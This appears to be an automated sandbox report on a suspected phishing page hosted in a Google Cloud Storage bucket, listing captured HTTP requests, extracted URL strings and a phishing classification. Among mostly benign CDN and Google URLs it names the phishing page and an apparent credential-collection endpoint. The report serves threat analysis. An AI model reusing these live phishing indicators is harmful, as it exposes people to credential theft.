Source: global traffic	HTTP traffic detected: GET /download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 HTTP/1.1Host: 00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: Filtering Rules.0.dr	String found in binary or memory: www.facebook.com/ajax/ads/ equals www.facebook.com (Facebook)
Source: Filtering Rules.0.dr	String found in binary or memory: www.facebook.com0 equals www.facebook.com (Facebook)

Source: angular.js.0.dr	String found in binary or memory: http://angularjs.org
Source: data_3.2.dr	String found in binary or memory: http://crl.pki.goog/gsr1/gsr1.crl0;
Source: data_3.2.dr	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0W
Source: data_3.2.dr	String found in binary or memory: http://crls.pki.goog/gts1c3/fVJxbV-Ktmk.crl0
Source: angular.js.0.dr	String found in binary or memory: http://errors.angularjs.org/1.6.4-local
Source: pnacl_public_x86_64_pnacl_sz_nexe.0.dr	String found in binary or memory: http://llvm.org/):
Source: data_3.2.dr	String found in binary or memory: http://ocsp.pki.goog/gsr10)
Source: data_3.2.dr	String found in binary or memory: http://ocsp.pki.goog/gts1c301
Source: data_3.2.dr	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: data_3.2.dr	String found in binary or memory: http://pki.goog/gsr1/gsr1.crt02
Source: data_3.2.dr	String found in binary or memory: http://pki.goog/repo/certs/gts1c3.der0
Source: data_3.2.dr	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://tools.ietf.org/html/rfc1950
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	String found in binary or memory: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com
Source: History.0.dr	String found in binary or memory: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/download/storage/v1
Source: data_1.2.dr	String found in binary or memory: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/favicon.ico
Source: data_1.2.dr	String found in binary or memory: https://00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com/favicon.icoChIKBw2D
Source: Reporting and NEL.2.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v3?s=E7BwEBO%2FNJbH8jI5GxGK1G4KpkHazo5UjO2gc%2FDQ9HL7lJ2GvAjzObc
Source: Reporting and NEL.2.dr	String found in binary or memory: https://a.nel.cloudflare.com/report/v3?s=SiYnHebMjN373%2B5EkY%2FlpsMd8SEgwXmx394Z0tAo9xol7i6PO7z0fux
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	String found in binary or memory: https://accounts.google.com
Source: craw_window.js.0.dr	String found in binary or memory: https://accounts.google.com/MergeSession
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	String found in binary or memory: https://ajax.googleapis.com
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	String found in binary or memory: https://apis.google.com
Source: mirroring_common.js.0.dr	String found in binary or memory: https://apis.google.com/js/client.js
Source: mirroring_common.js.0.dr	String found in binary or memory: https://castedumessaging-pa.googleapis.com/v1
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: data_1.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.jskf
Source: pnacl_public_x86_64_libcrt_platform_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-clang.git
Source: pnacl_public_x86_64_libcrt_platform_a.0.dr	String found in binary or memory: https://chromium.googlesource.com/a/native_client/pnacl-llvm.git
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://clients2.google.com
Source: mirroring_hangouts.js.0.dr, mirroring_cast_streaming.js.0.dr	String found in binary or memory: https://clients2.google.com/cr/report
Source: manifest.json1.0.dr, manifest.json0.0.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://clients6.google.com
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry
Source: pnacl_public_x86_64_ld_nexe.0.dr	String found in binary or memory: https://code.google.com/p/nativeclient/issues/entry%s:
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.2.1.slim.min.js
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	String found in binary or memory: https://content-autofill.googleapis.com
Source: data_1.2.dr	String found in binary or memory: https://content-autofill.googleapis.com/v1/pages/Chc2LjEuMTcxNS4xNDQyL2VuIChHR0xMKRIfCWWB9QQH7ZIQEgk
Source: manifest.json0.0.dr	String found in binary or memory: https://content.googleapis.com
Source: mirroring_cast_streaming.js.0.dr, common.js.0.dr	String found in binary or memory: https://crash.corp.google.com/samples?reportid=&q=
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/.
Source: LICENSE.txt.0.dr	String found in binary or memory: https://creativecommons.org/compatiblelicenses
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://creativecommons.org/publicdomain/zero/1.0/.
Source: data_3.2.dr	String found in binary or memory: https://csp.withgoogle.com/csp/hosted-libraries-pushers
Source: data_3.2.dr	String found in binary or memory: https://csp.withgoogle.com/csp/hosted-libraries-pushersCross-Origin-Resource-Policy:
Source: data_3.2.dr, Reporting and NEL.2.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/encsid_AZM8iraMxxUfRnRum-EGst9UuHcPNVSf9Kp1_90wIgU
Source: data_3.2.dr, Reporting and NEL.2.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/hosted-libraries-pushers
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, fb916b91-1de5-4a97-a1b9-d05f0ecb0538.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, 90ffbf66-70a1-431f-ab38-4e0141a0e529.tmp.2.dr	String found in binary or memory: https://dns.google
Source: mirroring_common.js.0.dr	String found in binary or memory: https://docs.google.com
Source: LICENSE.txt.0.dr	String found in binary or memory: https://easylist.to/)
Source: manifest.json0.0.dr	String found in binary or memory: https://feedback.googleusercontent.com
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://fonts.googleapis.com
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Archivo
Source: manifest.json0.0.dr	String found in binary or memory: https://fonts.googleapis.com;
Source: data_3.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://fonts.gstatic.com
Source: data_2.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v12/tss0ApVBdCYD5Q7hcxTE1ArZ0bb-iXxi2g.woff2)
Source: data_2.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v12/tss0ApVBdCYD5Q7hcxTE1ArZ0bb_iXxi2g.woff2)
Source: data_2.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/archivonarrow/v12/tss0ApVBdCYD5Q7hcxTE1ArZ0bbwiXw.woff2)
Source: manifest.json0.0.dr	String found in binary or memory: https://fonts.gstatic.com;
Source: material_css_min.css.0.dr	String found in binary or memory: https://github.com/angular/material
Source: LICENSE.txt.0.dr	String found in binary or memory: https://github.com/easylist)
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://github.com/madler/zlib/blob/master/zlib.h
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://hangouts.clients6.google.com
Source: manifest.json0.0.dr	String found in binary or memory: https://hangouts.google.com/
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://hangouts.google.com/hangouts/_/logpref
Source: data_3.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: data_1.2.dr	String found in binary or memory: https://ka-f.fontawesome.com/releases/v5.15.4/css/free-v4-shims.min.css?token=585b051251
Source: data_1.2.dr	String found in binary or memory: https://ka-f.fontawesome.com/releases/v5.15.4/css/free.min.css?token=585b051251
Source: data_3.2.dr	String found in binary or memory: https://kit.fontawesome.com
Source: data_1.2.dr	String found in binary or memory: https://kit.fontawesome.com/585b051251.js
Source: data_3.2.dr	String found in binary or memory: https://laskyduniganprivatlab.com/common/logon/next.php
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Source: data_1.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.jsM
Source: mirroring_common.js.0.dr	String found in binary or memory: https://meet.google.com
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://meetings.clients6.google.com
Source: mirroring_common.js.0.dr	String found in binary or memory: https://networktraversal.googleapis.com/v1alpha
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: data_3.2.dr	String found in binary or memory: https://pki.goog/repository/0
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://play.google.com
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://preprod-hangouts-googleapis.sandbox.google.com
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	String found in binary or memory: https://r4---sn-4g5ednsd.gvt1.com
Source: data_1.2.dr	String found in binary or memory: https://r4---sn-4g5ednsd.gvt1.com/edgedl/chrome/dict/en-us-9-0.bdic?cms_redirect=yes&mh=I2&mip=102.1
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr	String found in binary or memory: https://redirector.gvt1.com
Source: data_1.2.dr	String found in binary or memory: https://redirector.gvt1.com/edgedl/chrome/dict/en-us-9-0.bdic
Source: craw_window.js.0.dr, manifest.json.0.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://ssl.gstatic.com
Source: data_3.2.dr, data_1.2.dr	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Source: messages.json41.0.dr, feedback.html.0.dr	String found in binary or memory: https://support.google.com/chromecast/answer/2998456
Source: messages.json41.0.dr, feedback.html.0.dr	String found in binary or memory: https://support.google.com/chromecast/troubleshooter/2995236
Source: craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, manifest.json0.0.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.0.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.0.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: mirroring_hangouts.js.0.dr	String found in binary or memory: https://www.google.com/log?format=json&hasfast=true
Source: feedback_script.js.0.dr	String found in binary or memory: https://www.google.com/tools/feedback
Source: manifest.json0.0.dr	String found in binary or memory: https://www.google.com;
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr, craw_window.js.0.dr, craw_background.js.0.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/calendar.readonly
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/cast-edu-messaging
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/clouddevices
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/hangouts
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/meetings
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwrite
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.0.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: manifest.json0.0.dr	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: mirroring_common.js.0.dr	String found in binary or memory: https://www.googleapis.com/calendar/v3
Source: mirroring_common.js.0.dr	String found in binary or memory: https://www.googleapis.com/hangouts/v1
Source: 87f7696b-5039-4fdb-a102-3f34d3c97e7f.tmp.2.dr, e7317a57-3d14-4fd9-8697-bfbd8158919d.tmp.2.dr	String found in binary or memory: https://www.gstatic.com
Source: common.js.0.dr	String found in binary or memory: https://www.gstatic.com/hangouts_echo_detector/release/%
Source: manifest.json0.0.dr	String found in binary or memory: https://www.gstatic.com;

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Temp\355ccfc9-9128-4468-993c-4589a3e25f47.tmp

Jump to behavior

Source: classification engine

Classification label: mal56.phis.win@32/242@10/9

